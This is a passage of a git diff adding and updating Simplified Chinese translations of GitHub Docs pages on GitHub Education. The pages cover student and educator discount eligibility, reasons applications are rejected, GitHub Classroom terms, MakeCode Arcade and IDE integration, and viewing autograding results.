使用具有未经验证域的学术电子邮件 + +如果您的学术电子邮件地址有未经验证的域,则我们需要您的学术地位的进一步证明。 {% data reusables.education.upload-proof-reapply %} + +{% data reusables.education.pdf-support %} + +## 使用来自电子邮件政策宽松的学校的学术电子邮件 + +如果您的学校在付费学生注册之前发出电子邮件地址,则我们需要您的学术地位的进一步证明。 {% data reusables.education.upload-proof-reapply %} + +{% data reusables.education.pdf-support %} + +如果您有关于学校域的其他疑问或问题,请让学校的 IT 人员联系我们。 + +## 学术电子邮件地址已占用 + +如果您的学术电子邮件地址已用于为其他 {% data variables.product.prodname_dotcom %} 帐户申请 {% data variables.product.prodname_student_pack %},则无法重复使用该学术电子邮件地址成功申请其他 {% data variables.product.prodname_student_pack %}。 + +{% note %} + +注意:它针对 {% data variables.product.prodname_dotcom %} [服务条款](/articles/github-terms-of-service/#3-account-requirements) 来维护多个个人帐户。 + +{% endnote %} + +如果你有多个个人帐户,则必须合并帐户。 要保留折扣,请保留已授予折扣的帐户。 您可以通过将所有电子邮件地址添加到保留的帐户来重命名保留的帐户,并保留您的贡献历史记录。 + +有关详细信息,请参阅: +- “[合并多个个人帐户](/articles/merging-multiple-user-accounts)” +- [选择 {% data variables.product.prodname_dotcom %} 用户名](/articles/changing-your-github-username) +- [将电子邮件地址添加到 {% data variables.product.prodname_dotcom %} 帐户](/articles/adding-an-email-address-to-your-github-account) + +## 学生身份不合格 + +以下情况时,您没有资格获得 {% data variables.product.prodname_student_pack %}: +- 你已注册参加不属于 [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) 的非正式学习计划,但未注册参加授予学位或文凭的学习课程。 +- 您正在攻读将在当前学术会议上终止的学位。 +- 您未满 13 岁。 + +您的讲师仍可申请 {% data variables.product.prodname_education %} 折扣供课堂使用。 如果你是编程学校或训练营的学生,并且你的学校参加了 [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools),你将有资格获得 {% data variables.product.prodname_student_pack %}。 + +## 延伸阅读 + +- {% data variables.product.prodname_blog %} 上的“[没有学生 ID 如何获取 GitHub 学生开发包](https://github.blog/2019-07-30-how-to-get-the-github-student-developer-pack-without-a-student-id/)” +- [申请学生开发包](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack) diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/about-github-education-for-educators-and-researchers.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/about-github-education-for-educators-and-researchers.md new file mode 100644 index 0000000000..d7958b1900 --- /dev/null +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/about-github-education-for-educators-and-researchers.md @@ -0,0 +1,38 @@ +--- +title: 关于适用于教育者和研究人员的 GitHub Education +intro: '{% data variables.product.prodname_education %} 提供各种工具帮助教育者和研究人员在课堂内外更有效地工作。' +redirect_from: +- /education/teach-and-learn-with-github-education/about-github-education-for-educators-and-researchers +- /github/teaching-and-learning-with-github-education/about-github-education-for-educators-and-researchers +- /articles/about-github-education-for-educators-and-researchers +- /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-education-for-educators-and-researchers +versions: + fpt: '*' +shortTitle: Educators & researchers +ms.openlocfilehash: 3519a2b504f557afb51fc0e44b89a716f8fedfae +ms.sourcegitcommit: da73949b8f8bd71d40247f1f9c49f8f4c362ecd0 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/28/2022 +ms.locfileid: "147432118" +--- +{% data reusables.education.about-github-education-link %} + +## 适用于教育者的 {% data variables.product.prodname_education %} + +利用 {% data variables.product.prodname_education %} 适用于各级教育者的工具和服务,您可以: + - 使用 [{% data variables.product.prodname_classroom %}](https://classroom.github.com) 在 {% data variables.product.prodname_dotcom %} 上分发代码、向学生提供反馈和收集作业。 + - 加入我们的 [{% data variables.product.prodname_education_community %}](https://github.com/orgs/community/discussions/categories/github-education),与世界各地的同行讨论技术教育的当前趋势。 + - [请求一个 {% data variables.product.prodname_dotcom %} swag 包](https://github.com/orgs/community/discussions/13),其中包含为学生提供的教育材料和超值服务。 + {% data reusables.education.apply-for-team %} + +## 适用于研究人员的 {% data variables.product.prodname_education %} + +利用 {% data variables.product.prodname_education %} 适用于研究人员的工具和服务,您可以: + - 在 {% data variables.product.prodname_dotcom %} 上与世界各地的其他人协作处理研究工作。 + - [了解](https://education.github.com/stories)世界各地的学术机构如何使用 {% data variables.product.prodname_dotcom %} 进行研究。 + {% data reusables.education.apply-for-team %} + +## 延伸阅读 + +- “[关于学生的 {% data variables.product.prodname_education %}](/articles/about-github-education-for-students)” diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md new file mode 100644 index 0000000000..e29842d1d0 --- /dev/null +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md @@ -0,0 +1,40 @@ +--- +title: 申请教育者或研究人员折扣 +intro: 如果您是教育者或研究人员,可以为组织申请免费获取 {% data variables.product.prodname_team %}。 +redirect_from: +- /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount +- /github/teaching-and-learning-with-github-education/applying-for-an-educator-or-researcher-discount +- /articles/applying-for-a-classroom-discount +- /articles/applying-for-a-discount-for-your-school-club +- /articles/applying-for-an-academic-research-discount +- /articles/applying-for-a-discount-for-your-first-robotics-team +- /articles/applying-for-an-educator-or-researcher-discount +- /education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount +versions: + fpt: '*' +shortTitle: Apply for a discount +ms.openlocfilehash: 1cc101b2008846a882c347bb87f1744110849bb3 +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145283462" +--- +## 关于教育者和研究人员折扣 + +{% data reusables.education.about-github-education-link %} + +{% data reusables.education.educator-requirements %} + +有关 {% data variables.product.product_name %} 上的个人帐户的详细信息,请参阅“[注册新的 {% data variables.product.prodname_dotcom %} 帐户](/github/getting-started-with-github/signing-up-for-a-new-github-account)”。 + +## 申请教育者或研究人员折扣 + +{% data reusables.education.benefits-page %} {% data reusables.education.click-get-teacher-benefits %} {% data reusables.education.select-email-address %} {% data reusables.education.upload-proof-status %} {% data reusables.education.school-name %} {% data reusables.education.plan-to-use-github %} {% data reusables.education.submit-application %} + +## 延伸阅读 + +- “[为什么教师或研究人员的折扣申请未获批准?](/articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved)” +- [{% data variables.product.prodname_education %}](https://education.github.com) +- [{% data variables.product.prodname_classroom %} 视频](https://classroom.github.com/videos) +- [{% data variables.product.prodname_education_community %}]({% data variables.product.prodname_education_forum_link %}) diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/index.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/index.md new file mode 100644 index 0000000000..ead066b827 --- /dev/null +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/index.md @@ -0,0 +1,21 @@ +--- +title: 在课堂上和研究中使用 GitHub +intro: 作为教育工作者或研究人员,使用 {% data variables.product.prodname_dotcom %} 在课堂上、学生或研究小组中协作完成您的工作等等。 +redirect_from: +- /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research +- /github/teaching-and-learning-with-github-education/using-github-in-your-classroom-and-research +- /articles/using-github-in-your-classroom-and-research +versions: + fpt: '*' +children: +- /about-github-education-for-educators-and-researchers +- /apply-for-an-educator-or-researcher-discount +- /why-wasnt-my-application-for-an-educator-or-researcher-discount-approved +shortTitle: Classroom & research +ms.openlocfilehash: 4e80e5e99f3b7dbdf8dd83699a6a7d543886bc1f +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145099798" +--- diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md new file mode 100644 index 0000000000..7ddcd2fd6b --- /dev/null +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md @@ -0,0 +1,53 @@ +--- +title: 为什么我的教育工作者或研究人员折扣申请未获得批准? +intro: 查看申请教育工作者或研究人员折扣未获批准的常见原因,并了解成功重新申请的窍门。 +redirect_from: +- /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved +- /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved +- /articles/why-was-my-application-for-an-educator-or-researcher-discount-denied +- /articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved +- /articles/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved +- /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved +versions: + fpt: '*' +shortTitle: Application not approved +ms.openlocfilehash: e0b368c08bc68945cd0a1084d50b83b520b06823 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145097953" +--- +{% tip %} + +提示:{% data reusables.education.about-github-education-link %} + +{% endtip %} + +## 关联文档证明不明确 + +如果您上传的图像无法明确地确定您目前在学校或大学工作,则必须重新申请并上传您的教职员 ID 或雇主证明信的其他图像,其中须含有明确信息。 + +{% data reusables.education.pdf-support %} + +## 使用具有未经验证域的学术电子邮件 + +如果您的学术电子邮件地址有未经验证的域,则我们可能需要您的学术地位的进一步证明。 {% data reusables.education.upload-different-image %} + +{% data reusables.education.pdf-support %} + +## 使用来自电子邮件政策宽松的学校的学术电子邮件 + +如果您学校的校友和退休教师终身可以访问学校发出的电子邮件地址,则我们可能需要您的学术地位的进一步证明。 {% data reusables.education.upload-different-image %} + +{% data reusables.education.pdf-support %} + +如果您有关于学校域的其他疑问或问题,请让学校的 IT 人员联系我们。 + +## 非学生申请学生开发包 + +教师和研究人员没有资格获得 [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack) 随附的合作伙伴优惠。 重新申请时,确保选择“教职工”来描述你的学术状态。 + +## 延伸阅读 + +- [申请教师或研究人员折扣](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount) diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md index 7dbe7adf3d..27d9737043 100644 --- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md +++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md @@ -1,53 +1,59 @@ --- -title: Glossary -intro: 'You can review explanations of terminology for {% data variables.product.prodname_classroom %}.' +title: 术语表 +intro: '您可以查看 {% data variables.product.prodname_classroom %} 的术语解释。' versions: fpt: '*' redirect_from: - /education/manage-coursework-with-github-classroom/glossary +ms.openlocfilehash: ac81489db055ef019789ae77a6ca44bd235f5eaa +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145097950' --- -## assignment +## 分配 -An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." +作业是 {% data variables.product.prodname_classroom %} 中的课程。 教师可以将作业分配给单个学生或一组学生。 教师可以导入作业的启动代码,指派学生,并为每项作业设定最后期限。 有关详细信息,请参阅“[个人分配](#individual-assignment)”和“[小组分配](#group-assignment)”的定义。 --- -## classroom +## 教室 -A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." +教室是 {% data variables.product.prodname_classroom %} 的基本单位。 教师可以利用教室组织和管理学生、教务助理和单门课程的作业。 教室属于 {% data variables.product.prodname_dotcom_the_website %} 上的组织。 要管理教室,您必须是 {% data variables.product.prodname_dotcom %} 上组织的组织所有者。 有关详细信息,请参阅“[管理教室](/education/manage-coursework-with-github-classroom/manage-classrooms)”。 --- ## {% data variables.product.prodname_classroom %} -{% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. +{% data variables.product.prodname_classroom %} 是一个面向教育工作者的网络应用程序,提供与 {% data variables.product.prodname_dotcom %} 集成的课程管理工具。 有关详细信息,请参阅 [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) 网站。 --- -## group assignment +## 小组作业 -{% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." +{% data reusables.classroom.assignments-group-definition %}有关详细信息,请参阅“[创建小组作业](/education/manage-coursework-with-github-classroom/create-a-group-assignment)”。 --- -## identifier +## 标识符 -An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. +{% data variables.product.prodname_classroom %} 中的标识符是学生参加课程的唯一 ID。 例如,标识符可以是学生姓名、字母数字 ID 或电子邮件地址。 --- -## individual assignment +## 个人作业 -{% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." +{% data reusables.classroom.assignments-individual-definition %}有关详细信息,请参阅“[创建个人作业](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)”。 --- -## roster +## 名册 -A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system course to a classroom](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom)." +名册可让教师在 {% data variables.product.prodname_classroom %} 课堂中管理学生和作业提交。 教师可以通过输入学生标识符列表或连接 {% data variables.product.prodname_classroom %} 到学习管理系统 (LMS) 来创建名册。 有关标识符的详细信息,请参阅“[标识符](#identifier)”的定义。 有关将 {% data variables.product.prodname_classroom %} 连接到 LMS 的详细信息,请参阅“[将学习管理系统连接到 {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)”。 --- -## Further reading +## 延伸阅读 -- "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" +- [{% data variables.product.prodname_dotcom %} 术语表](/github/getting-started-with-github/github-glossary) diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md index 4272e08f49..9591e560f7 100644 --- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md +++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md @@ -1,31 +1,37 @@ --- -title: About using MakeCode Arcade with GitHub Classroom +title: 关于使用 MakeCode Arcade 与 GitHub Classroom shortTitle: About using MakeCode Arcade -intro: 'You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}.' +intro: '您可以将 MakeCode Arcade 配置为 {% data variables.product.prodname_classroom %} 中作业的在线 IDE。' versions: fpt: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode - /education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom +ms.openlocfilehash: f4786f67c7a9d0444e92d3c5560f4d86b6a0af7d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145099786' --- -## About MakeCode Arcade +## 关于 MakeCode Arcade -MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide)." +MakeCode Arcade 是一个在线集成开发环境 (IDE),用于使用拖放块编程和 JavaScript 开发复古街机游戏。 学生可以使用 MakeCode Arcade 在浏览器中编写、编辑、运行、测试和调试代码。 有关 IDE 和 {% data variables.product.prodname_classroom %} 的详细信息,请参阅“[将 {% data variables.product.prodname_classroom %} 与 IDE 集成](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide)”。 {% data reusables.classroom.readme-contains-button-for-online-ide %} -The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. +学生第一次单击按钮访问 MakeCode Arcade 时,必须使用 {% data variables.product.product_name %} 证书登录 MakeCode Arcade。 登录后,学生将有权访问包含作业仓库中代码、在 MakeCode Arcade 上完全配置的开发环境。 -For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. +有关使用 MakeCode Arcade 的详细信息,请参阅 [MakeCode Arcade](https://arcade.makecode.com/ide-tour) 和 MakeCode Arcade 网站上的[文档](https://arcade.makecode.com/docs)。 -MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. +MakeCode Arcade 不支持对小组作业进行多人编辑。 但学生可以协作使用 Git 和 {% data variables.product.product_name %} 功能,如分支和拉取请求。 -## About submission of assignments with MakeCode Arcade +## 关于使用 MakeCode Arcade 提交作业 -By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.location.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.location.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen. +默认情况下,MakeCode Arcade 配置为推送到 {% data variables.product.product_location %} 上的作业仓库。 使用 MakeCode Arcade 处理作业后,学生应使用屏幕底部的 {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} 按钮将更改推送到 {% data variables.product.product_location %}。 -![MakeCode Arcade version control functionality](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) +![MakeCode Arcade 版本控制功能](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) -## Further reading +## 延伸阅读 -- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" +- [关于自述文件](/github/creating-cloning-and-archiving-repositories/about-readmes) diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md index 9815f648c6..9e0c64d371 100644 --- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md +++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md @@ -1,7 +1,7 @@ --- -title: Integrate GitHub Classroom with an IDE +title: 集成 GitHub Classroom 与 IDE shortTitle: Integrate with an IDE -intro: 'You can preconfigure a supported integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}.' +intro: '您可以为您在 {% data variables.product.prodname_classroom %} 中创建的作业预配置受支持的集成开发环境 (IDE)。' versions: fpt: '*' permissions: 'Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}' @@ -9,37 +9,43 @@ redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-online-ide +ms.openlocfilehash: 25c4c1fba1cb0f082049a461e03bfdf009e208c9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147110504' --- -## About integration with an IDE +## 关于与 IDE 集成 {% data reusables.classroom.about-online-ides %} -After a student accepts an assignment with an IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary. +学生接受具有 IDE 的作业后,学生作业仓库中的 README 文件将包含一个按钮,用于打开 IDE 中的作业。 学生可以立即开始工作,无需进行其他配置。 -## Supported IDEs +## 支持的 IDE -{% data variables.product.prodname_classroom %} supports the following IDEs. You can learn more about the student experience for each IDE. +{% data variables.product.prodname_classroom %} 支持以下 IDE。 您可以详细了解每个 IDE 的学生体验。 -| IDE | More information | +| IDE | 详细信息 | | :- | :- | -| {% data variables.product.prodname_github_codespaces %} | "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom)" | -| Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | -| {% data variables.product.prodname_vscode %} | [{% data variables.product.prodname_classroom %} extension](http://aka.ms/classroom-vscode-ext) in the Visual Studio Marketplace | +| {% data variables.product.prodname_github_codespaces %} | “[将 {% data variables.product.prodname_github_codespaces %} 与 {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom) 配合使用” | +| Microsoft MakeCode Arcade | [关于将 MakeCode Arcade 与 {% data variables.product.prodname_classroom %} 配合使用](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom) | +| {% data variables.product.prodname_vscode %} | Visual Studio Marketplace 中的 [{% data variables.product.prodname_classroom %} 扩展](http://aka.ms/classroom-vscode-ext) | -We know cloud IDE integrations are important to your classroom and are working to bring more options. +我们知道云 IDE 集成对您的课堂非常重要,正在努力提供更多选择。 -## Configuring an IDE for an assignment +## 为作业配置 IDE -You can choose the IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." +创建作业时,您可以选择要用于作业的 IDE。 若要了解如何创建使用 IDE 的新作用,请参阅“[创建个人作业](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)”或“[创建小组作业](/education/manage-coursework-with-github-classroom/create-a-group-assignment)”。 -## Setting up an assignment in a new IDE +## 在新 IDE 中设置分配 -The first time you configure an assignment using a different IDE, you must ensure that it is set up correctly. +首次使用其他 IDE 配置分配时,必须确保对其进行正确设置。 -Unless you use {% data variables.product.prodname_github_codespaces %}, you must authorize the OAuth app for the IDE for your organization. For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." +除非使用 {% data variables.product.prodname_codespaces %},否则必须为组织的 IDE 授权 OAuth 应用。 对于所有存储库,授予应用对元数据、管理和代码的读取权限,以及对管理和代码的写入权限 。 有关详细信息,请参阅“[授权 OAuth 应用](/github/authenticating-to-github/authorizing-oauth-apps)”。 -{% data variables.product.prodname_github_codespaces %} does not require an OAuth app, but you need to enable {% data variables.product.prodname_github_codespaces %} for your organization to be able to configure an assignment with {% data variables.product.prodname_github_codespaces %}. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#enabling-codespaces-for-your-organization)." +{% data variables.product.prodname_codespaces %} 不需要 OAuth 应用,但你需要启用 {% data variables.product.prodname_codespaces %} 以便你的组织能够使用 {% data variables.product.prodname_codespaces %} 配置作业。 有关详细信息,请参阅“[将 {% data variables.product.prodname_codespaces %} 与 {% data variables.product.prodname_classroom %} 配合使用](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#enabling-codespaces-for-your-organization)”。 -## Further reading +## 延伸阅读 -- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" +- [关于自述文件](/github/creating-cloning-and-archiving-repositories/about-readmes) diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md index 7e93c63392..f8ae5e6a8b 100644 --- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md +++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md @@ -1,30 +1,36 @@ --- -title: View autograding results -intro: You can see results from autograding within the repository for your assignment. +title: 查看自动评分结果 +intro: 您可以在作业仓库中查看自动评分结果。 versions: fpt: '*' redirect_from: - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-students - /education/manage-coursework-with-github-classroom/view-autograding-results +ms.openlocfilehash: ea4de9b0122e39f5ecb4d960d4f0ee8c94ba2ee5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145099780' --- -## About autograding +## 关于自动分级 -Your teacher can configure tests that automatically check your work when you push to an assignment repository on {% data variables.location.product_location %}. +教师可以配置测试在您推送到 {% data variables.product.product_location %} 上的作业仓库时自动检查您的工作。 -If you're a student and your instructor has configured autograding for your assignment in {% data variables.product.prodname_classroom %}, you'll find autograding test results throughout your assignment repository. If all tests succeed for a commit, you'll see a green checkmark. If any tests fail for a commit, you'll see a red X. You can see detailed logs by clicking the green checkmark or red X. +如果您是学生,并且讲师已为 {% data variables.product.prodname_classroom %} 中的作业配置自动评分,则您会在整个作业仓库找到自动评分测试结果。 如果提交的所有测试都成功,您将看到绿色复选标记。 如果提交的任何测试失败,您会看到红色的 X。您可以通过单击绿色复选标记或红色 X 查看详细日志。 -## Viewing autograding results for an assignment repository +## 查看作业仓库的自动评分结果 -{% data variables.product.prodname_classroom %} uses {% data variables.product.prodname_actions %} to run autograding tests. For more information about viewing the logs for an autograding test, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs#viewing-logs-to-diagnose-failures)." +{% data variables.product.prodname_classroom %} 使用 {% data variables.product.prodname_actions %} 来运行自动评分测试。 有关查看自动评分测试日志的详细信息,请参阅“[使用工作流运行日志](/actions/managing-workflow-runs/using-workflow-run-logs#viewing-logs-to-diagnose-failures)”。 -The **Actions** tab shows the full history of test runs. +“操作”选项卡显示测试运行的完整历史记录。 -!["Actions" tab with "All workflows" selected](/assets/images/help/classroom/autograding-actions-tab.png) +![“所有工作流”处于选中状态的“操作”选项卡](/assets/images/help/classroom/autograding-actions-tab.png) -You can click a specific test run to review log output, like compilation errors and test failures. +您可以单击特定的测试运行来查看日志输出,如编译错误和测试失败。 -![The "{% data variables.product.prodname_classroom %} Autograding Workflow" test results logs in {% data variables.product.prodname_actions %} ](/assets/images/help/classroom/autograding-actions-logs.png) +![{% data variables.product.prodname_actions %} 中的“{% data variables.product.prodname_classroom %} 自动评分工作流”测试结果日志 ](/assets/images/help/classroom/autograding-actions-logs.png) -## Further reading +## 延伸阅读 -- "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)" +- [关于状态检查](/github/collaborating-with-issues-and-pull-requests/about-status-checks) diff --git 